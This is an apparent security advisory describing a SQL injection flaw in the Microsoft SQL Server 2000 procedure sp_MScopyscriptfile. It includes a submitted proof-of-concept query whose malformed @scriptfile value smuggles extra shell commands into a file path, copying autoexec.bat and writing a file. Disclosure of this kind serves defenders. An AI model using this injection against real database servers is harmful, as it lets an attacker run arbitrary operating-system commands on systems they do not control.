|
Microsoft SQL Server 2000 sp_MScopyscript SQL Injection Vulnerability
The following example was submitted: By supplying a malformed @scriptfile parameter an attacker can run arbitrary commands: use master declare @cmd nvarchar(4000) exec sp_MScopyscriptfile N'c:\autoexec.bat" c:\cp.txt&echo hello > c:\ccc.bbb & echo "hello',@cmd OUTPUT print @cmd The above query will copy the autoexec.bat file to cp.txt but also echo hello to a file called ccc.bbb. |
|
 Privacy Statement |
